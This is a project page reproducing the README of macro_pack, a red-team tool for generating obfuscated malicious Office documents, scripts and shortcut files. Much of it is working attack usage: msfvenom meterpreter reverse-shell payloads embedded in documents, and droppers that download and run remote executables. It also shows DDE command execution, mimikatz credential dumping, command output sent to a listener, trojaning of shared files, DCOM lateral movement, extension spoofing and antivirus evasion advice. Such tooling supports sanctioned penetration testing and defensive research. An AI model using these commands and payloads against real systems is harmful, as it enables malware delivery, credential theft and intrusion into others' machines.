All Projects → sevagas → Macro_pack

sevagas / Macro_pack

Licence: apache-2.0
macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments. The goal of macro_pack is to simplify exploitation, antimalware bypass, and automatize the process from malicious macro and script generation to final document generation. It also provides a lot of helpful features useful for redteam or security research.

Programming Languages

python
139335 projects - #7 most used programming language
macros
77 projects
vba
158 projects

Projects that are alternatives of or similar to Macro pack

MsfMania
Python AV Evasion Tools
Stars: ✭ 388 (-63.81%)
Mutual labels:  pentest, meterpreter, redteam
Offensive-Reverse-Shell-Cheat-Sheet
Offensive Reverse Shell (Cheat Sheet)
Stars: ✭ 138 (-87.13%)
Mutual labels:  pentest, redteam
GetPwd
It's a tool which generate a dictionary from a csv containing personals informations. Generate all common passwords based on perso info. (leet transformations and combinatory processing)
Stars: ✭ 46 (-95.71%)
Mutual labels:  pentest, social-engineering
Cobaltstrike Ms17 010
cobaltstrike ms17-010 module and some other
Stars: ✭ 300 (-72.01%)
Mutual labels:  pentest, redteam
argus
Argus Advanced Remote & Local Keylogger For macOS and Windows
Stars: ✭ 87 (-91.88%)
Mutual labels:  pentest, social-engineering
Constole
Scan for and exploit Consul agents
Stars: ✭ 37 (-96.55%)
Mutual labels:  pentest, redteam
Overlord
Overlord - Red Teaming Infrastructure Automation
Stars: ✭ 258 (-75.93%)
Mutual labels:  pentest, redteam
NIST-to-Tech
An open-source listing of cybersecurity technology mapped to the NIST Cybersecurity Framework (CSF)
Stars: ✭ 61 (-94.31%)
Mutual labels:  pentest, redteam
Hershell
Hershell is a simple TCP reverse shell written in Go.
Stars: ✭ 442 (-58.77%)
Mutual labels:  pentest, redteam
Payloadsallthethings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF
Stars: ✭ 32,909 (+2969.87%)
Mutual labels:  pentest, redteam
Diamorphine
LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x (x86/x86_64 and ARM64)
Stars: ✭ 725 (-32.37%)
Mutual labels:  pentest, redteam
volana
🌒 Shell command obfuscation to avoid detection systems
Stars: ✭ 38 (-96.46%)
Mutual labels:  pentest, redteam
1earn
ffffffff0x 团队维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup
Stars: ✭ 3,715 (+246.55%)
Mutual labels:  pentest, redteam
HellgateLoader CSharp
Load shellcode via HELLGATE, Rewrite hellgate with .net framework for learning purpose.
Stars: ✭ 73 (-93.19%)
Mutual labels:  pentest, redteam
1earn
个人维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup
Stars: ✭ 776 (-27.61%)
Mutual labels:  pentest, redteam
NewNtdllBypassInlineHook CSharp
Load a fresh new copy of ntdll.dll via file mapping to bypass API inline hook.
Stars: ✭ 35 (-96.74%)
Mutual labels:  pentest, redteam
Aboutsecurity
A list of payload and bypass lists for penetration testing and red team infrastructure build.
Stars: ✭ 166 (-84.51%)
Mutual labels:  pentest, redteam
Doxycannon
A poorman's proxycannon and botnet, using docker, ovpn files, and a dante socks5 proxy
Stars: ✭ 216 (-79.85%)
Mutual labels:  pentest, redteam
A Red Teamer Diaries
RedTeam/Pentest notes and experiments tested on several infrastructures related to professional engagements.
Stars: ✭ 382 (-64.37%)
Mutual labels:  redteam, meterpreter
Chashell
Chashell is a Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks.
Stars: ✭ 742 (-30.78%)
Mutual labels:  pentest, redteam

Supported Python versions

macro_pack

Short description

The macro_pack is a tool used to automatize obfuscation and generation of retro formats such as MS Office documents or VBS like format. Now it also handles various shortcuts formats.
This tool can be used for redteaming, pentests, demos, and social engineering assessments. macro_pack will simplify antimalware solutions bypass and automatize the process from vb source to final Office document or other payload type.
It is very simple to use:

  • No configuration
  • Everything can be done using a single line of code
  • Generation of majority of Office formats and VBS based formats
  • Payloads for advanced social engineering attacks (email, USB key, etc)

The tool is compatible with payloads generated by popular pentest tools (Metasploit, Empire, ...). It is also easy to combine with other tools as it is possible to read input from stdin and have a quiet output to another tool. This tool is written in Python3 and works on both Linux and Windows platform.

Note: Windows platform with the right MS Office applications installed is required for Office documents automatic generation or trojan features.

Demo 1

Obfuscation

The tool will use various obfuscation techniques, all automatic. Obfuscation features are compatible with all VBA and VBS based format which can be generated by macro_pack.
Basic obfuscation (-o option) includes:

  • Renaming functions
  • Renaming variables
  • Removing spaces
  • Removing comments
  • Encoding Strings

Note that the main goal of macro_pack obfuscation is not to prevent reverse engineering, it is to prevent antivirus detection.

Generation

Macro Pack can generate several kinds of MS office documents and scripts formats. The format will be automatically guessed depending on the given file extension. File generation is done using the option --generate or -G.
Macro Pack pro version also allow to trojan existing Office files with option --trojan or -T

Ms Office Supported formats are:

  • MS Word (.doc, .docm, .docx, .dotm)
  • MS Excel (.xls, .xlsm, .xslx, .xltm)
  • MS PowerPoint (.pptm, .potm)
  • MS Access (.accdb, .mdb)
  • MS Visio (.vsd,.vsdm)
  • MS Project (.mpp)

Scripting (txt) supported formats are:

  • VBA text file (.vba)
  • VBS text file (.vbs).
  • Windows Script File (.wsf)
  • Windows Script Components scriptlets (.wsc, .sct)
  • HTML Applications (.hta)
  • XSLT Stylesheet (.xsl) (Yes MS XSLT contains scripts ^^)

Shortcuts/Shell supported formats are:

  • Shell Link (.lnk)
  • Explorer Command File (.scf)
  • URL Shortcut (.url)
  • Groove Shortcuts (.glk)
  • Settings Shortcuts (.settingcontent-ms)
  • MS Library (.library-ms)
  • Setup Information (.inf)
  • Excel Web Query (.iqy)
  • Visual Studio Project (.csproj)
  • Command line (.cmd)
  • SYmbolic LinK (.slk) Pro version only
  • Compressed HTML Help (.chm) Pro version only

Note that all scripting and shortcuts formats (except LNK) can be generated on Linux version of macro_pack as well.

Ethical use

The macro_pack tool shall only be used by pentester, security researchers, or other people with learning purpose. I condemn all use of security tools for unethical actions (weather these ar legal or illegal). I know this will not prevent usage by malicious people and that is why all features are not publicly released.

About pro mode...

You may notice that not all part of macro_pack is available. Only the community version is available online. Features in the pro version are really "weaponizing" the process, and I do not want them available to all script kiddies out there. The pro mode includes features such as:

  • Advance antimalware bypass
  • Advanced Shellcode injection methods
  • Command line obfuscation (Dosfuscation)
  • ASR and AMSI bypass
  • Self unpacking VBA/VBS payloads
  • Trojan existing MS Office documents, Help files and Visual Studio projects.
  • Embed decoy payload
  • Lateral movement using DCOM objects
  • Anti reverse engineering
  • Sandbox detection
  • Support of more formats such as Excel 4.0 SYLK and compiled help files
  • Run advanced VB payload from unusual formats
  • Weaponized templates and additional templates (ex EMPIRE, AUTOSHELLCODE)
  • Excel 4.0 macros (XLM)
  • Lot of more advanced stuff

Some short demo videos are available on the sevagas youtube channel.

Note that MP pro is only available as a commercial offer for professionals. If you are in an offensive security audit team and would like more information on how to get "pro" version you can contact me at emeric.nasi[ at ]sevagas.com using your professional email address.

Important: If you wish to contact me about MacroPack pro, use my emeric.nasi [at] sevagas.com email address. Also please note that I will not answer to anonymous inquiries for the Pro version. Only to professional emails.

Run/Install

Run Windows binary

  1. Get the latest binary from https://github.com/sevagas/macro_pack/releases/
  2. Download binary on PC with genuine Microsoft Office installed.
  3. Open console, CD to binary dir and call the binary, simple as that!
macro_pack.exe --help

Install from sources

You need to be on a Windows machine to build MacroPack. Download and install dependencies:

git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

The tool is in python 3 so just start with with your python3 install. ex:

python3 macro_pack.py  --help
# or
python macro_pack.py --help # if python3 is default install

If you want to produce a standalone exe using pyinstaller:

  • Install pyinstaller: pip install pyinstaller
  • Double-click on the "build.bat" script.

The resulted macro_pack.exe will be inside the bin directory.

Some examples

macro_pack community

  • List all supported file formats
macro_pack.exe --listformats
  • List all available templates
macro_pack.exe --listtemplates
  • Obfuscate the vba file generated by msfvenom and put result in a new vba file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
  • Obfuscate Empire stager vba file and generate a MS Word document:
macro_pack.exe -f empire.vba -o -G myDoc.docm
  • Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)
echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 
  • Create a word 97 document containing an obfuscated VBA reverse meterpreter payload inside a share folder:
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \\REMOTE-PC\Share\meter.doc   
  • Download and execute Empire Launcher stager without powershell.exe by using DROPPER_PS template
# 1 Generate a file containing Empire lauchcher 
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack  to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
  • Execute calc.exe via Dynamic Data Exchange (DDE) attack
echo calc.exe | macro_pack.exe --dde -G calc.xslx

Excel DDE demo

  • Download and execute file via powershell using Dynamic Data Exchange (DDE) attack
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
  • Run command (notepad.exe) via Excel web query file and DDE
# 1 Create dde.dat file with next content
=cmd|' /c notepad.exe'!A1
# 2 Host dde.dat on webserver, ex. using macro_pack -l
# 3 Generate .iqy file
macro_pack.exe -G dde.iqy

IQY demo

  • Generate obfuscated Meterpreter reverse TCP VBS file and run it
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs

  • Generates obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5
# 1 Generate HTA file with REMOTE_CMD template
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
# 2 On 192.168.0.5 open macro_pack as http listener
macro_pack.exe -l . --port=1234
# 3 run hta file with mshta
mshta.exe full/path/to/info.hta
  • Generate url shortcut which executes a local hta file when you click on it
 echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
  • Generate lnk shortcut which executes a cmd running calc.exe with calc.exe icon
 echo '"c:\Windows\System32\cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk

Some macro_pack pro examples

  • Trojan the existing shared "report.xlsm" file with a dropper. Use anti-AV and anti-reversz features.
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER2 --trojan --av-bypass --stealth --antisandox  -G "E:\accounting\report.xls"   
  • Generate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). Keep-alive is needed because we need meterpreter to stay alive before we migrate.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --autopack --keep-alive  -G  out.docm
  • Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass AMSI and most antiviruses.
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --autopack --trojan -G  hotpics.pptm
  • Execute a macro on a remote PC using DCOM
REM Step 1: Ensure you have enough rights
net use  \\192.168.0.8\c$ /user:domain\username password

REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm
REM Step 3: Copy the document  somewhere on remote share
copy meter.xlsm "\\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 4: Execute!
macro_pack.exe --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"

REM Step 2 to 4 in one step:
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"

All community version options

 Main payload generation options:
    -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
        MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
        Note: Office payload generation requires that MS Office application is installed on the machine
    --listformats View all file formats which can be generated by MacroPack
    -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
        If no input file is provided, input must be passed via stdin (using a pipe).
    -t, --template=TEMPLATE_NAME    Use code template already included in MacroPack
        MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
    --listtemplates View all templates provided by MacroPack
    -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
        Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.


 Security bypass options:
    -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
    --obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
        Choose between: alpha, alphanum, complete or provide the list of char you want
    --obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
    --obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
    --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates


 Other options:
    -q, --quiet Do not display anything on screen, just process request.
    -p, --print Display result file on stdout (will display VBA for Office formats)
        Combine this option with -q option to pipe result into another program
        ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
    -s, --start-function=START_FUNCTION   Entry point of macro file
        Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open  as the start function
    --icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
    --dde  Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
        This option is only compatible with Excel formats.
    --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
        This will trigger AutoOpen/Workbook_Open automatically.
        If no auto start function, use --start-function option to indicate which macro to run.
    --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
            Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
            In this case, windows or linux explorers will show the file named as: somethingath.jpg
    -l, --listen=ROOT_PATH      Open an HTTP server from ROOT_PATH listening on default port 80.
    -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
    --port=PORT Specify the listening port for HTTP and WebDAV servers.


    -h, --help   Displays help and exit
           

Template usage

Templates can be called using -t, --template=TEMPLATE_NAME combined with other options.
Here are all the available templates.

HELLO

Just print a hello message and awareness about macro
Give this template the name or email of the author
-> Example: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm

CMD

Execute a command Give this template a command line -> Example (pop calc.exe from and xslt file): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl

REMOTE_CMD

Execute a command line and send result to remote http server
Give this template the server url and the command to run
-> Example: echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc

# Catch result with any webserver or netcat
nc -l -p 7777

DROPPER

Download and execute a file.
Give this template the file url and the target file path
-> Example: echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls

DROPPER_PS

Download and execute Powershell script using rundll32 (to bypass blocked powershell.exe).
Note: This payload will download PowerShdll from Github.
Give this template the url of the powershell script you want to run
-> Example: echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc

DROPPER_DLL

Download a DLL with another extension and run it using Office VBA
-> Example, load meterpreter DLL using Office:

REM Generate meterpreter dll payload
msfvenom.bat  -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls

METERPRETER

Meterpreter reverse TCP template using MacroMeter by Cn33liz.
This template is CSharp Meterpreter Stager build by Cn33liz and embedded within VBA using DotNetToJScript from James Forshaw.
Give this template the IP and PORT of listening mfsconsole
-> Example: echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm

This template also generates a meterpreter.rc file to create the Metasploit handler -> Example: msfconsole -r meterpreter.rc

EMBED_EXE

Drop and execute an embedded file. Combine with --embed option, it will drop and execute the embedded file with random name under TEMP folder. -> Example: macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs

EMBED_DLL

Combine with --embed option, it will drop and call a function in the given DLL Give this template the name and parameters of function to call in DLL -> Example1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc -> Example2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta

Efficiency

The various features were tested against locally installed Antimalware solutions as well as online service. I ran multiple tests with several kind of payloads and macro_pack features. A majority of antivirus static will be evaded by the simple "obfuscate" option. However, as most free tools payloads are generally caught by behavioural anaysis such as AMSI. Features available in MacroPack pro mode generally permit full AV bypass including AMSI.

Warning: Do not submit your samples to online scanner (ex VirusTotal), It's the best way to break your stealth macro. I also suggest you do not submit to non reporting site such as NoDistribute. You cannot be sure what these sites will do with the data you submit. If you have an issue with macro_pack AV detection you can write to us for advice or submit an issue or pull request.

Relevant resources

Blog posts about MacroPack Pro:

Blog posts about hacking with MS Office, VBS, and other retro stuff security:

Other useful links:

Contact

Feel free to message me on my Twitter account @EmericNasi
Emails:

  • emeric.nasi[ at ]sevagas.com
  • ena.sevagas[ at ]protonmail.com

Important: If you wish to contact me about MacroPack pro, use my sevagas.com email address. Also please note that I will not answer to anonymous inquiries for the Pro version. Only to professional emails.

License and credits

The Apache License 2.0

Copyright 2017,2018,2019,2020,2021 Emeric “Sio” Nasi (blog.sevagas.com)

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].